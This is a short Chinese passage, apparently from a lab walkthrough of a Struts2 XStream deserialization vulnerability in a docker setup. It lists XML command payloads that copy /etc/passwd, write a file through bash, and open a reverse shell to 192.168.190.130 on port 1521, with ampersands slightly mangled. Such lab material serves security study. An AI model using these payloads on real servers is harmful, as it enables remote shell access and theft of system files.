以上数据包成功执行的话，会在docker容器内创建文件/tmp/success，
执行docker-compose exec struts2 ls /tmp/即可看到。
docker-compose exec struts2 ls /tmp/
读文件：
<command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command>
写文件：
<command>
<string>bash</string>
<string>-c</string>
<string>echo micr067 > /tmp/test.txt</string>
</command>
反弹shell：
<command> <string>bash</string> <string>-c</string> <string>bash -i >&; /dev/tcp/192.168.190.130/1521 0>&;1</string> </command>
